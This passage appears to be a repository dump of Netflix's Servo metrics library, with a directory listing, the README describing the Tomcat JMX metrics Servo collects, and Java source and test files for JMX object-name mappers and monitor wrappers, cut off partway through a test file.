{"type": "file", "name": "TimedInterface.java"}, {"type": "file", "name": "TimedStopwatch.java"}, {"type": "file", "name": "Timer.java"}]}, {"type": "file", "name": "MonitorRegistry.java"}, {"type": "file", "name": "NoopMonitorRegistry.java"}, {"type": "file", "name": "package-info.java"}, {"type": "directory", "name": "publish", "children": [{"type": "file", "name": "AsyncMetricObserver.java"}, {"type": "file", "name": "BaseMetricObserver.java"}, {"type": "file", "name": "BaseMetricPoller.java"}, {"type": "file", "name": "BasicMetricFilter.java"}, {"type": "file", "name": "CompositeMetricPoller.java"}, {"type": "file", "name": "CounterToRateMetricTransform.java"}, {"type": "file", "name": "FileMetricObserver.java"}, {"type": "file", "name": "JmxConnector.java"}, {"type": "file", "name": "JmxMetricPoller.java"}, {"type": "file", "name": "JvmMetricPoller.java"}, {"type": "file", "name": "LocalJmxConnector.java"}, {"type": "file", "name": "MemoryMetricObserver.java"}, {"type": "file", "name": "MetricFilter.java"}, {"type": "file", "name": "MetricObserver.java"}, {"type": "file", "name": "MetricPoller.java"}, {"type": "file", "name": "MetricTransformObserver.java"}, {"type": "file", "name": "MonitorRegistryMetricPoller.java"}, {"type": "file", "name": "NormalizationTransform.java"}, {"type": "file", "name": "package-info.java"}, {"type": "file", "name": "PollCallable.java"}, {"type": "file", "name": "PollRunnable.java"}, {"type": "file", "name": "PollScheduler.java"}, {"type": "file", "name": "PrefixMetricFilter.java"}, {"type": "file", "name": "RegexMetricFilter.java"}]}, {"type": "file", "name": "SpectatorContext.java"}, {"type": "directory", "name": "stats", "children": [{"type": "file", "name": "StatsBuffer.java"}, {"type": "file", "name": "StatsConfig.java"}]}, {"type": "directory", "name": "tag", "children": [{"type": "file", "name": "BasicTag.java"}, {"type": "file", "name": "BasicTagList.java"}, {"type": "file", "name": "InjectableTag.java"}, {"type": "file", "name": "package-info.java"}, {"type": "file", "name": "SmallTagMap.java"}, {"type": "file", "name": "SortedTagList.java"}, {"type": "file", "name": "StandardTagKeys.java"}, {"type": "file", "name": "Tag.java"}, {"type": "file", "name": "TagComparator.java"}, {"type": "file", "name": "TaggingContext.java"}, {"type": "file", "name": "TagList.java"}, {"type": "file", "name": "Tags.java"}, {"type": "file", "name": "ThreadLocalTaggingContext.java"}]}, {"type": "directory", "name": "util", "children": [{"type": "file", "name": "Clock.java"}, {"type": "file", "name": "ClockWithOffset.java"}, {"type": "file", "name": "ExpiringCache.java"}, {"type": "file", "name": "Iterables.java"}, {"type": "file", "name": "ManualClock.java"}, {"type": "file", "name": "Memoizer.java"}, {"type": "file", "name": "Objects.java"}, {"type": "file", "name": "Preconditions.java"}, {"type": "file", "name": "Reflection.java"}, {"type": "file", "name": "Strings.java"}, {"type": "file", "name": "ThreadCpuStats.java"}, {"type": "file", "name": "ThreadFactories.java"}, {"type": "file", "name": "Throwables.java"}, {"type": "file", "name": "TimeLimiter.java"}, {"type": "file", "name": "UnmodifiableList.java"}, {"type": "file", "name": "UnmodifiableSet.java"}, {"type": "file", "name": "VisibleForTesting.java"}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "servo", "children": [{"type": "file", "name": "DefaultMonitorRegistryTest.java"}, {"type": "directory", "name": "jmx", "children": [{"type": "file", "name": "DefaultObjectNameMapperTest.java"}, {"type": "file", "name": "ObjectNameBuilderTest.java"}, {"type": "file", "name": "OrderedObjectNameMapperTest.java"}]}, {"type": "file", "name": "MetricTest.java"}, {"type": "directory", "name": "monitor", "children": [{"type": "file", "name": "AbstractMonitorTest.java"}, {"type": "file", "name": "AnnotationsTest.java"}, {"type": "file", "name": "BasicCounterTest.java"}, {"type": "file", "name": "BasicDistributionSummaryTest.java"}, {"type": "file", "name": "BasicGaugeTest.java"}, {"type": "file", "name": "BasicInformationalTest.java"}, {"type": "file", "name": "BasicStopwatchTest.java"}, {"type": "file", "name": "BasicTimerTest.java"}, {"type": "file", "name": "BucketConfigTest.java"}, {"type": "file", "name": "BucketTimerTest.java"}, {"type": "file", "name": "ClassWithBadAnnotation.java"}, {"type": "file", "name": "ClassWithMonitors.java"}, {"type": "file", "name": "DoubleCounterTest.java"}, {"type": "file", "name": "DoubleGaugeTest.java"}, {"type": "file", "name": "DurationTimerTest.java"}, {"type": "file", "name": "DynamicCounterTest.java"}, {"type": "file", "name": "DynamicTimerTest.java"}, {"type": "file", "name": "LongGaugeTest.java"}, {"type": "file", "name": "MaxGaugeTest.java"}, {"type": "file", "name": "MinGaugeTest.java"}, {"type": "file", "name": "MonitorConfigTest.java"}, {"type": "file", "name": "MonitorsTest.java"}, {"type": "file", "name": "ParentHasMonitors.java"}, {"type": "file", "name": "PeakRateCounterTest.java"}, {"type": "file", "name": "PollersTest.java"}, {"type": "file", "name": "PublishingPolicyTest.java"}, {"type": "file", "name": "SpectatorIntegrationTest.java"}, {"type": "file", "name": "StatsMonitorTest.java"}, {"type": "file", "name": "StatsTimerTest.java"}, {"type": "file", "name": "StepCounterTest.java"}, {"type": "file", "name": "SuperClassWithMonitors.java"}, {"type": "file", "name": "TimedInterfaceTest.java"}]}, {"type": "directory", "name": "publish", "children": [{"type": "file", "name": "AsyncMetricObserverTest.java"}, {"type": "file", "name": "BasicMetricFilterTest.java"}, {"type": "file", "name": "CompositeMetricPollerTest.java"}, {"type": "file", "name": "CounterToRateMetricTransformTest.java"}, {"type": "file", "name": "FailingMetricObserver.java"}, {"type": "file", "name": "FileMetricObserverTest.java"}, {"type": "file", "name": "JmxMetricPollerTest.java"}, {"type": "file", "name": "MemoryMetricObserverTest.java"}, {"type": "file", "name": "MockMetricPoller.java"}, {"type": "file", "name": "MonitorRegistryMetricPollerTest.java"}, {"type": "file", "name": "NormalizationTransformTest.java"}, {"type": "file", "name": "PollSchedulerTest.java"}, {"type": "file", "name": "PrefixMetricFilterTest.java"}, {"type": "file", "name": "RegexMetricFilterTest.java"}, {"type": "file", "name": "SlowMetricObserver.java"}]}, {"type": "directory", "name": "stats", "children": [{"type": "file", "name": "StatsBufferTest.java"}]}, {"type": "directory", "name": "tag", "children": [{"type": "file", "name": "BasicTagListTest.java"}, {"type": "file", "name": "BasicTagTest.java"}, {"type": "file", "name": "SmallTagMapTest.java"}, {"type": "file", "name": "SortedTagListTest.java"}, {"type": "file", "name": "TagComparatorTest.java"}]}, {"type": "directory", "name": "util", "children": [{"type": "file", "name": "ExpiringCacheTest.java"}, {"type": "file", "name": "StringsTest.java"}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "log4j.properties"}]}]}]}]}, {"type": "directory", "name": "servo-example", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "servo", "children": [{"type": "directory", "name": "example", "children": [{"type": "file", "name": "BaseHandler.java"}, {"type": "file", "name": "Config.java"}, {"type": "file", "name": "EchoHandler.java"}, {"type": "file", "name": "ExitHandler.java"}, {"type": "file", "name": "Main.java"}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "servo-graphite", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "servo", "children": [{"type": "directory", "name": "publish", "children": [{"type": "directory", "name": "graphite", "children": [{"type": "file", "name": "BasicGraphiteNamingConvention.java"}, {"type": "file", "name": "GraphiteMetricObserver.java"}, {"type": "file", "name": "GraphiteNamingConvention.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "servo", "children": [{"type": "directory", "name": "publish", "children": [{"type": "directory", "name": "graphite", "children": [{"type": "file", "name": "BasicGraphiteNamingConventionTest.java"}, {"type": "file", "name": "GraphiteMetricObserverTest.java"}, {"type": "file", "name": "SocketReceiverTester.java"}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "servo-tomcat", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "servo", "children": [{"type": "directory", "name": "publish", "children": [{"type": "directory", "name": "tomcat", "children": [{"type": "file", "name": "TomcatPoller.java"}]}]}]}]}]}]}]}]}]}, {"type": "file", "name": "settings.gradle"}]} | The following Tomcat metrics are collected by Servo from JMX. The Tomcat
[service name](https://tomcat.apache.org/tomcat-8.0-doc/config/service.html) must be set
to Catalina in server.xml in order for the metrics to be located in JMX.
```xml
<Server port="8005" shutdown="SHUTDOWN">
...
<Service name="Catalina">
...
</Service>
...
</Server>
```
## Metrics
### Executor
These metrics will be reoprted if an
[executor](https://tomcat.apache.org/tomcat-8.0-doc/config/executor.html) is configured.
#### tomcat.currentThreadsBusy
Number of threads that are in use. This value comes from the
[active count](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ThreadPoolExecutor.html#getActiveCount--)
of the executor.
**Unit:** count
**Dimensions:**
* `class`: will have a value of `Executor`.
* `id`: name specified on the executor element.
#### tomcat.completedTaskCount
Rate of completed tasks on the executor. This value comes from the
[completed task count](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ThreadPoolExecutor.html#getCompletedTaskCount--)
of the executor.
**Unit:** tasks per second
**Dimensions:**
* `class`: will have a value of `Executor`.
* `id`: name specified on the executor element.
#### tomcat.maxThreads
Maximum number of threads allowed in the pool. This value comes from the
[maximum pool size](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ThreadPoolExecutor.html#getMaximumPoolSize--)
of the executor.
**Unit:** count
**Dimensions:**
* `class`: will have a value of `Executor`.
* `id`: name specified on the executor element.
#### tomcat.poolSize
Number of threads in the pool. This value comes from the
[pool size](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ThreadPoolExecutor.html#getPoolSize--)
of the executor.
**Unit:** count
**Dimensions:**
* `class`: will have a value of `Executor`.
* `id`: name specified on the executor element.
#### tomcat.queueSize
Number of tasks in the queue waiting to be executed. This value comes from calling size on the
[queue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ThreadPoolExecutor.html#getQueue--).
**Unit:** count
**Dimensions:**
* `class`: will have a value of `Executor`.
* `id`: name specified on the executor element.
### Global Request Processor
#### tomcat.bytesSent
Amount of data that has been written out to clients.
**Unit:** bytes/second
**Dimensions:**
* `class`: will have a value of `GlobalRequestProcessor`.
* `id`: name of the request processor. This usually indicates the protocol, ip, and port that
the processor is listening on, e.g. `_http-bio-0.0.0.0-7001_`.
#### tomcat.errorCount
Rate of request errors.
**Unit:** errors/second
**Dimensions:**
* `class`: will have a value of `GlobalRequestProcessor`.
* `id`: name of the request processor. This usually indicates the protocol, ip, and port that
the processor is listening on, e.g. `_http-bio-0.0.0.0-7001_`.
#### tomcat.maxTime
Maximum time it took to process a request.
**Unit:** milliseconds
**Dimensions:**
* `class`: will have a value of `GlobalRequestProcessor`.
* `id`: name of the request processor. This usually indicates the protocol, ip, and port that
the processor is listening on, e.g. `_http-bio-0.0.0.0-7001_`.
#### tomcat.processingTime
Amount of time spent processing requests.
**Unit:** milliseconds/second
**Dimensions:**
* `class`: will have a value of `GlobalRequestProcessor`.
* `id`: name of the request processor. This usually indicates the protocol, ip, and port that
the processor is listening on, e.g. `_http-bio-0.0.0.0-7001_`.
#### tomcat.requestCount
Overall number of requests processed.
**Unit:** requests/second
**Dimensions:**
* `class`: will have a value of `GlobalRequestProcessor`.
* `id`: name of the request processor. This usually indicates the protocol, ip, and port that
the processor is listening on, e.g. `_http-bio-0.0.0.0-7001_`.
### Thread Pool
Metrics for the default thread pool created for each connector if an executor is not
being used.
#### tomcat.backlog
Number of tasks in the queue waiting to be executed.
**Unit:** count
**Dimensions:**
* `class`: will have a value of `ThreadPool`.
* `id`: name of the request processor. This usually indicates the protocol, ip, and port that
the processor is listening on, e.g. `_http-nio-7001_`.
#### tomcat.currentThreadCount
Number of threads in the pool.
**Unit:** count
**Dimensions:**
* `class`: will have a value of `ThreadPool`.
* `id`: name of the request processor. This usually indicates the protocol, ip, and port that
the processor is listening on, e.g. `_http-nio-7001_`.
#### tomcat.currentThreadsBusy
Number of threads that are in use.
**Unit:** count
**Dimensions:**
* `class`: will have a value of `ThreadPool`.
* `id`: name of the request processor. This usually indicates the protocol, ip, and port that
the processor is listening on, e.g. `_http-nio-7001_`.
#### tomcat.maxThreads
Maximum number of threads allowed in the pool.
**Unit:** count
**Dimensions:**
* `class`: will have a value of `ThreadPool`.
* `id`: name of the request processor. This usually indicates the protocol, ip, and port that
the processor is listening on, e.g. `_http-nio-7001_`.
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "gradle\\wrapper\\gradle-wrapper.properties": "#Mon Jul 21 14:48:34 CEST 2014\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-7.6-all.zip\n", "servo-core\\src\\main\\java\\com\\netflix\\servo\\jmx\\DefaultObjectNameMapper.java": "/**\n * Copyright 2014 Netflix, Inc.\n * <p/>\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p/>\n * http://www.apache.org/licenses/LICENSE-2.0\n * <p/>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.servo.jmx;\n\nimport com.netflix.servo.monitor.Monitor;\n\nimport javax.management.ObjectName;\n\n/**\n * The default {@link ObjectNameMapper} implementation that\n * is used by the {@link JmxMonitorRegistry}. This implementation\n * simply appends the monitor's name followed by the tags for the monitor.\n */\nclass DefaultObjectNameMapper implements ObjectNameMapper {\n\n @Override\n public ObjectName createObjectName(String domain, Monitor<?> monitor) {\n ObjectNameBuilder objNameBuilder = ObjectNameBuilder.forDomain(domain);\n objNameBuilder.addProperty(\"name\", monitor.getConfig().getName());\n objNameBuilder.addProperties(monitor.getConfig().getTags());\n return objNameBuilder.build();\n }\n\n}\n", "servo-core\\src\\main\\java\\com\\netflix\\servo\\jmx\\ObjectNameMapper.java": "/**\n * Copyright 2014 Netflix, Inc.\n * <p/>\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p/>\n * http://www.apache.org/licenses/LICENSE-2.0\n * <p/>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.servo.jmx;\n\nimport com.netflix.servo.monitor.Monitor;\n\nimport javax.management.ObjectName;\n\n/**\n * Allows for different implementations when mapping a\n * monitor to a JMX {@link ObjectName}. The mapper can be\n * can be specified when using the {@link JmxMonitorRegistry}.\n * This interface also has a reference to the default mapping implementation.\n * Note that an {@link ObjectName}'s properties are meant to be unordered,\n * however, some tools such as VisualVM use the order to build a hierarchy\n * view where the default implementation may not be desirable.\n */\npublic interface ObjectNameMapper {\n\n /**\n * The default mapping implementation. This implementation simply\n * appends the monitor's name followed by all the tags as properties\n * of the {@link ObjectName}. The mapper remaps any characters that are\n * not alphanumeric, a period, or hypen to an underscore.\n */\n ObjectNameMapper DEFAULT = new DefaultObjectNameMapper();\n\n /**\n * Given the domain and monitor generates an {@link ObjectName} to use.\n *\n * @param domain the JMX domain\n * @param monitor the monitor\n * @return The created ObjectName\n */\n ObjectName createObjectName(String domain, Monitor<?> monitor);\n\n}\n", "servo-core\\src\\main\\java\\com\\netflix\\servo\\jmx\\OrderedObjectNameMapper.java": "/**\n * Copyright 2014 Netflix, Inc.\n * <p/>\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p/>\n * http://www.apache.org/licenses/LICENSE-2.0\n * <p/>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.servo.jmx;\n\nimport com.netflix.servo.monitor.Monitor;\n\nimport javax.management.ObjectName;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.TreeMap;\n\n/**\n * An {@link ObjectNameMapper} that allows the order of\n * tags to be specified when constructing the {@link ObjectName}.\n * The mapper will map the known ordered tag keys and then optionally\n * append the remaining tags. While an {@link ObjectName}'s properties\n * are meant to be unordered some visual tools such as VisualVM use the\n * given order to build a hierarchy. This ordering allows that hierarchy\n * to be manipulated.\n * <p/>\n * It is recommended to always append the remaining tags to avoid collisions\n * in the generated {@link ObjectName}. The mapper remaps any characters that\n * are not alphanumeric, a period, or hypen to an underscore.\n */\npublic final class OrderedObjectNameMapper implements ObjectNameMapper {\n\n private final List<String> keyOrder;\n private final boolean appendRemaining;\n private final boolean orderIncludesName;\n\n /**\n * Creates the mapper specifying the order of keys to use and whether\n * non-explicitly mentioned tag keys should then be appended or not to\n * the resulting {@link ObjectName}.\n *\n * @param appendRemaining whether to append the remaining tags\n * @param orderedKeys the keys in order that should be used\n */\n public OrderedObjectNameMapper(boolean appendRemaining, String... orderedKeys) {\n this(appendRemaining, Arrays.asList(orderedKeys));\n }\n\n /**\n * Creates the mapper specifying the order of keys to use and whether\n * non-explicitly mentioned tag keys should then be appended or not to\n * the resulting {@link ObjectName}.\n *\n * @param appendRemaining whether to append the remaining tags\n * @param orderedKeys the list of keys in the order that should be used\n */\n public OrderedObjectNameMapper(boolean appendRemaining, List<String> orderedKeys) {\n this.keyOrder = new ArrayList<>(orderedKeys);\n this.appendRemaining = appendRemaining;\n this.orderIncludesName = keyOrder.contains(\"name\");\n }\n\n @Override\n public ObjectName createObjectName(String domain, Monitor<?> monitor) {\n ObjectNameBuilder objBuilder = ObjectNameBuilder.forDomain(domain);\n Map<String, String> tags = new TreeMap<>(\n monitor.getConfig().getTags().asMap());\n // For the known ordered keys, try to add them if they're present in the monitor's tags\n for (String knownKey : keyOrder) {\n // Special case for name as it isn't a tag\n if (\"name\".equals(knownKey)) {\n addName(objBuilder, monitor);\n } else {\n String value = tags.remove(knownKey);\n if (value != null) {\n objBuilder.addProperty(knownKey, value);\n }\n }\n }\n\n // If appending, then add the name (if not already added) and remaining tags\n if (appendRemaining) {\n if (!orderIncludesName) {\n addName(objBuilder, monitor);\n }\n\n for (Map.Entry<String, String> additionalTag : tags.entrySet()) {\n objBuilder.addProperty(additionalTag.getKey(), additionalTag.getValue());\n }\n }\n\n return objBuilder.build();\n }\n\n private void addName(ObjectNameBuilder builder, Monitor<?> monitor) {\n builder.addProperty(\"name\", monitor.getConfig().getName());\n }\n\n}\n", "servo-core\\src\\main\\java\\com\\netflix\\servo\\monitor\\CompositeMonitorWrapper.java": "/*\n * Copyright 2011-2018 Netflix, Inc.\n * <p/>\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p/>\n * http://www.apache.org/licenses/LICENSE-2.0\n * <p/>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.servo.monitor;\n\nimport com.netflix.servo.tag.TagList;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.List;\n\n/**\n * Wraps another composite monitor object providing an alternative configuration.\n */\nclass CompositeMonitorWrapper<T>\n extends AbstractMonitor<T> implements CompositeMonitor<T>, SpectatorMonitor {\n\n private final TagList tags;\n private final CompositeMonitor<T> monitor;\n\n /**\n * Creates a new instance of the wrapper.\n */\n CompositeMonitorWrapper(TagList tags, CompositeMonitor<T> monitor) {\n super(monitor.getConfig().withAdditionalTags(tags));\n this.tags = tags;\n this.monitor = monitor;\n if (monitor instanceof SpectatorMonitor) {\n ((SpectatorMonitor) monitor).initializeSpectator(tags);\n }\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public List<Monitor<?>> getMonitors() {\n List<Monitor<?>> monitors = monitor.getMonitors();\n List<Monitor<?>> wrappedMonitors = new ArrayList<>(monitors.size());\n for (Monitor<?> m : monitors) {\n wrappedMonitors.add(Monitors.wrap(tags, m));\n }\n return Collections.unmodifiableList(wrappedMonitors);\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public void initializeSpectator(TagList tags) {\n // This class is only used internally when wrapping a monitor registered with\n // Monitors.register\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public T getValue(int pollerIdx) {\n return monitor.getValue(pollerIdx);\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public boolean equals(Object obj) {\n if (obj == null || !(obj instanceof CompositeMonitorWrapper<?>)) {\n return false;\n }\n @SuppressWarnings(\"unchecked\")\n CompositeMonitorWrapper<T> m = (CompositeMonitorWrapper<T>) obj;\n return config.equals(m.getConfig()) && monitor.equals(m.monitor);\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public int hashCode() {\n int result = config.hashCode();\n result = 31 * result + monitor.hashCode();\n return result;\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public String toString() {\n return \"CompositeMonitorWrapper{config=\" + config + \", monitor=\" + monitor + '}';\n }\n}\n", "servo-core\\src\\main\\java\\com\\netflix\\servo\\monitor\\MonitorWrapper.java": "/*\n * Copyright 2011-2018 Netflix, Inc.\n * <p/>\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p/>\n * http://www.apache.org/licenses/LICENSE-2.0\n * <p/>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.servo.monitor;\n\nimport com.netflix.servo.tag.TagList;\n\n/**\n * Wraps another monitor object providing an alternative configuration.\n */\nclass MonitorWrapper<T> extends AbstractMonitor<T> {\n\n @SuppressWarnings(\"unchecked\")\n static <T> MonitorWrapper<T> create(TagList tags, Monitor<T> monitor) {\n if (monitor instanceof NumericMonitor<?>) {\n return (MonitorWrapper<T>) ((monitor instanceof SpectatorMonitor)\n ? new SpectatorMonitorWrapper(tags, (NumericMonitor<?>) monitor)\n : new NumericMonitorWrapper(tags, (NumericMonitor<?>) monitor));\n } else {\n return new MonitorWrapper<>(tags, monitor);\n }\n }\n\n private final Monitor<T> monitor;\n\n /**\n * Creates a new instance of the wrapper.\n */\n MonitorWrapper(TagList tags, Monitor<T> monitor) {\n super(monitor.getConfig().withAdditionalTags(tags));\n this.monitor = monitor;\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public T getValue(int pollerIdx) {\n return monitor.getValue();\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public boolean equals(Object obj) {\n if (obj == null || !(obj instanceof MonitorWrapper<?>)) {\n return false;\n }\n MonitorWrapper m = (MonitorWrapper) obj;\n return config.equals(m.getConfig()) && monitor.equals(m.monitor);\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public int hashCode() {\n int result = getConfig().hashCode();\n result = 31 * result + monitor.hashCode();\n return result;\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public String toString() {\n return \"MonitorWrapper{config=\" + config + \", monitor=\" + monitor + '}';\n }\n}\n", "servo-core\\src\\main\\java\\com\\netflix\\servo\\monitor\\NumericMonitorWrapper.java": "/**\n * Copyright 2013 Netflix, Inc.\n * <p/>\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p/>\n * http://www.apache.org/licenses/LICENSE-2.0\n * <p/>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.servo.monitor;\n\nimport com.netflix.servo.tag.TagList;\n\n/**\n * Wraps another monitor object providing an alternative configuration.\n */\nclass NumericMonitorWrapper<T extends Number> extends MonitorWrapper<T>\n implements NumericMonitor<T> {\n\n /**\n * Creates a new instance of the wrapper.\n */\n NumericMonitorWrapper(TagList tags, NumericMonitor<T> monitor) {\n super(tags, monitor);\n }\n}\n", "servo-core\\src\\main\\java\\com\\netflix\\servo\\monitor\\SpectatorMonitorWrapper.java": "package com.netflix.servo.monitor;\n\nimport com.netflix.servo.tag.TagList;\n\nclass SpectatorMonitorWrapper<T extends Number>\n extends NumericMonitorWrapper<T> implements SpectatorMonitor {\n\n SpectatorMonitorWrapper(TagList tags, NumericMonitor<T> monitor) {\n super(tags, monitor);\n if (monitor instanceof SpectatorMonitor) {\n ((SpectatorMonitor) monitor).initializeSpectator(tags);\n }\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public void initializeSpectator(TagList tags) {\n }\n}\n", "servo-core\\src\\test\\java\\com\\netflix\\servo\\jmx\\DefaultObjectNameMapperTest.java": "/**\n * Copyright 2014 Netflix, Inc.\n * <p/>\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p/>\n * http://www.apache.org/licenses/LICENSE-2.0\n * <p/>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.servo.jmx;\n\nimport com.netflix.servo.annotations.DataSourceType;\nimport com.netflix.servo.monitor.BasicCounter;\nimport com.netflix.servo.monitor.MonitorConfig;\nimport org.testng.annotations.Test;\n\nimport javax.management.MalformedObjectNameException;\nimport javax.management.ObjectName;\n\nimport static org.testng.Assert.assertEquals;\n\npublic class DefaultObjectNameMapperTest {\n\n private static final ObjectNameMapper DEFAULT_MAPPER = new DefaultObjectNameMapper();\n private static final String TEST_DOMAIN = \"testDomain\";\n\n @Test\n public void testStandardMapping() {\n MonitorConfig config = MonitorConfig.builder(\"testName\").withTag(\"foo\", \"bar\").build();\n ObjectName name = DEFAULT_MAPPER.createObjectName(TEST_DOMAIN, new BasicCounter(config));\n assertEquals(name.getDomain(), TEST_DOMAIN);\n // note that this assumes that DataSourceType.KEY is greater than 'foo'\n // for String#compareTo purposes\n assertEquals(name.getKeyPropertyListString(),\n String.format(\"name=testName,foo=bar,%s=COUNTER\",\n DataSourceType.KEY));\n }\n\n @Test\n public void testMultipleTags() throws MalformedObjectNameException {\n BasicCounter counter = new BasicCounter(\n MonitorConfig.builder(\"testName\")\n .withTag(\"bbb\", \"foo\")\n .withTag(\"aaa\", \"bar\")\n .withTag(\"zzz\", \"test\")\n .build());\n ObjectName name = DEFAULT_MAPPER.createObjectName(TEST_DOMAIN, counter);\n assertEquals(name.getDomain(), TEST_DOMAIN);\n assertEquals(name.getKeyPropertyListString(),\n String.format(\"name=testName,aaa=bar,bbb=foo,%s=COUNTER,zzz=test\",\n DataSourceType.KEY));\n }\n\n}\n", "servo-core\\src\\test\\java\\com\\netflix\\servo\\jmx\\OrderedObjectNameMapperTest.java": "/**\n * Copyright 2014 Netflix, Inc.\n * <p/>\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p/>\n * http://www.apache.org/licenses/LICENSE-2.0\n * <p/>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.servo.jmx;\n\nimport com.netflix.servo.annotations.DataSourceType;\nimport com.netflix.servo.monitor.BasicCounter;\nimport com.netflix.servo.monitor.Counter;\nimport 